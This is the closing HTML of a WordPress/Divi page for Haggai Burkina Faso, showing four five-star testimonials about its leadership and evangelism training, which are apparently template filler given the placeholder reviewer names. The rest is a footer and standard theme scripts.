style="border-left-width: 3px"><p class="wp-block-paragraph">The community engagement initiatives have opened doors for meaningful connections and outreach opportunities. I am grateful for the guidance and support.</p></div><div class="nfd-gap-xs wp-block-group is-vertical is-layout-flex wp-container-core-group-is-layout-4fc3f8e1 wp-block-group-is-layout-flex"><p class="nfd-text-md has-text-color wp-block-paragraph" style="color:#fab906;letter-spacing:2px">★★★★★</p><p class="nfd-text-base has-text-align-left wp-block-paragraph">Emily Davis</p></div></div><div class="nfd-theme-light nfd-bg-surface nfd-rounded nfd-text-balance nfd-p-card-md nfd-gap-md wp-block-group is-vertical is-layout-flex wp-container-core-group-is-layout-4fc3f8e1 wp-block-group-is-layout-flex"><p class="nfd-text-balance wp-block-paragraph"><strong>Life-Changing Experiences</strong></p><div class="nfd-pl-offset-md nfd-text-balance nfd-text-base wp-block-group is-layout-constrained wp-block-group-is-layout-constrained" style="border-left-width: 3px"><p class="wp-block-paragraph">Participating in Haggai&rsquo;s programs has been a life-changing experience for me. I have gained confidence and skills that I can apply in my daily life.</p></div><div class="nfd-gap-xs wp-block-group is-vertical is-layout-flex wp-container-core-group-is-layout-4fc3f8e1 wp-block-group-is-layout-flex"><p class="nfd-text-md has-text-color wp-block-paragraph" style="color:#fab906;letter-spacing:2px">★★★★★</p><p class="nfd-text-base has-text-align-left wp-block-paragraph">John Doe</p></div></div></div><div class="wp-block-column is-layout-flow wp-block-column-is-layout-flow"><div class="nfd-theme-light nfd-bg-surface nfd-rounded nfd-text-balance nfd-p-card-md nfd-gap-md wp-block-group is-vertical is-layout-flex wp-container-core-group-is-layout-4fc3f8e1 wp-block-group-is-layout-flex"><p class="nfd-text-balance wp-block-paragraph"><strong>Transformative Leadership Training</strong></p><div class="nfd-pl-offset-md nfd-text-balance nfd-text-base wp-block-group is-layout-constrained wp-block-group-is-layout-constrained" style="border-left-width: 3px"><p class="wp-block-paragraph">The training I received from Haggai has profoundly impacted my ability to lead and evangelize effectively in my community. I feel equipped to make a difference!</p></div><div class="nfd-gap-xs wp-block-group is-vertical is-layout-flex wp-container-core-group-is-layout-4fc3f8e1 wp-block-group-is-layout-flex"><p class="nfd-text-md has-text-color wp-block-paragraph" style="color:#fab906;letter-spacing:2px">★★★★★</p><p class="nfd-text-base has-text-align-left wp-block-paragraph">Jane Smith</p></div></div><div class="nfd-theme-light nfd-bg-surface nfd-rounded nfd-text-balance nfd-p-card-md nfd-gap-md wp-block-group is-vertical is-layout-flex wp-container-core-group-is-layout-4fc3f8e1 wp-block-group-is-layout-flex"><p class="nfd-text-balance wp-block-paragraph"><strong>Empowering Evangelism Initiatives</strong></p><div class="nfd-pl-offset-md nfd-text-balance nfd-text-base wp-block-group is-layout-constrained wp-block-group-is-layout-constrained" style="border-left-width: 3px"><p class="wp-block-paragraph">Haggai&rsquo;s programs have empowered me to take on leadership roles in evangelism. The support and resources provided are invaluable for anyone looking to make a positive impact.</p></div><div class="nfd-gap-xs wp-block-group is-vertical is-layout-flex wp-container-core-group-is-layout-4fc3f8e1 wp-block-group-is-layout-flex"><p class="nfd-text-md has-text-color wp-block-paragraph" style="color:#fab906;letter-spacing:2px">★★★★★</p><p class="nfd-text-base has-text-align-left wp-block-paragraph">Michael Johnson</p></div></div></div></div></div>					</div>

				
				</article>

			

			</div>

					</div>
	</div>


</div>


			<footer id="main-footer">
				

		
				<div id="footer-bottom">
					<div class="container clearfix">
				<ul class="et-social-icons">

	<li class="et-social-icon et-social-facebook">
		<a href="#" class="icon">
			<span>Facebook</span>
		</a>
	</li>
	<li class="et-social-icon et-social-twitter">
		<a href="#" class="icon">
			<span>X</span>
		</a>
	</li>
	<li class="et-social-icon et-social-instagram">
		<a href="#" class="icon">
			<span>Instagram</span>
		</a>
	</li>
	<li class="et-social-icon et-social-rss">
		<a href="https://haggai-bf.org/feed/" class="icon">
			<span>RSS</span>
		</a>
	</li>

</ul><div id="footer-info">Design JRB XSolutions |  (c) 2025 HAGGAI BURKINA FASO</div>					</div>
				</div>
			</footer>
		</div>


	</div>

	<script type="speculationrules">
{"prefetch":[{"source":"document","where":{"and":[{"href_matches":"/*"},{"not":{"href_matches":["/wp-*.php","/wp-admin/*","/wp-content/uploads/*","/wp-content/*","/wp-content/plugins/*","/wp-content/themes/Divi-child/*","/wp-content/themes/Divi/*","/*\\?(.+)"]}},{"not":{"selector_matches":"a[rel~=\"nofollow\"]"}},{"not":{"selector_matches":".no-prefetch, .no-prefetch a"}}]},"eagerness":"conservative"}]}
</script>
<script id="jquery-core-js" src="http://haggai-bf.org/wp-includes/js/jquery/jquery.min.js?ver=3.7.1"></script>
<script id="jquery-migrate-js" src="http://haggai-bf.org/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.4.1"></script>
<script id="jquery-js-after">
jqueryParams.length&&$.each(jqueryParams,function(e,r){if("function"==typeof r){var n=String(r);n.replace("$","jQuery");var a=new Function("return "+n)();$(document).ready(a)}});
//# sourceURL=jquery-js-after
</script>
<script id="divi-custom-script-js-extra">
var DIVI = {"item_count":"%d Item","items_count":"%d Items"};
var et_builder_utils_params = {"condition":{"diviTheme":true,"extraTheme":false},"scrollLocations":["app","top"],"builderScrollLocations":{"desktop":"app","tablet":"app","phone":"app"},"onloadScrollLocation":"app","builderType":"fe"};
var et_frontend_scripts = {"builderCssContainerPrefix":"#et-boc","builderCssLayoutPrefix":"#et-boc .et-l"};
var et_pb_custom = {"ajaxurl":"http://haggai-bf.org/wp-admin/admin-ajax.php","images_uri":"http://haggai-bf.org/wp-content/themes/Divi/images","builder_images_uri":"http://haggai-bf.org/wp-content/themes/Divi/includes/builder/images","et_frontend_nonce":"1ba54686f7","subscription_failed":"Veuillez v\u00e9rifier les champs ci-dessous pour vous assurer que vous avez entr\u00e9 les informations correctes.","et_ab_log_nonce":"6e1a125dd2","fill_message":"S'il vous pla\u00eet, remplissez les champs suivants:","contact_error_message":"Veuillez corriger les erreurs suivantes :","invalid":"E-mail non valide","captcha":"Captcha","prev":"Pr\u00e9c\u00e9dent","previous":"Pr\u00e9c\u00e9dente","next":"Prochaine","wrong_captcha":"Vous avez entr\u00e9 le mauvais num\u00e9ro dans le captcha.","wrong_checkbox":"Case \u00e0 cocher","ignore_waypoints":"no","is_divi_theme_used":"1","widget_search_selector":".widget_search","ab_tests":[],"is_ab_testing_active":"","page_id":"8","unique_test_id":"","ab_bounce_rate":"5","is_cache_plugin_active":"yes","is_shortcode_tracking":"","tinymce_uri":"http://haggai-bf.org/wp-content/themes/Divi/includes/builder/frontend-builder/assets/vendors","accent_color":"#7EBEC5","waypoints_options":[]};
var et_pb_box_shadow_elements = [];
//# sourceURL=divi-custom-script-js-extra
</script>
<script id="divi-custom-script-js" src="http://haggai-bf.org/wp-content/themes/Divi/js/scripts.min.js?ver=4.27.6"></script>
<script id="et-core-common-js" src="http://haggai-bf.org/wp-content/themes/Divi/core/admin/js/common.js?ver=4.27.6"></script>
</body>
</html>
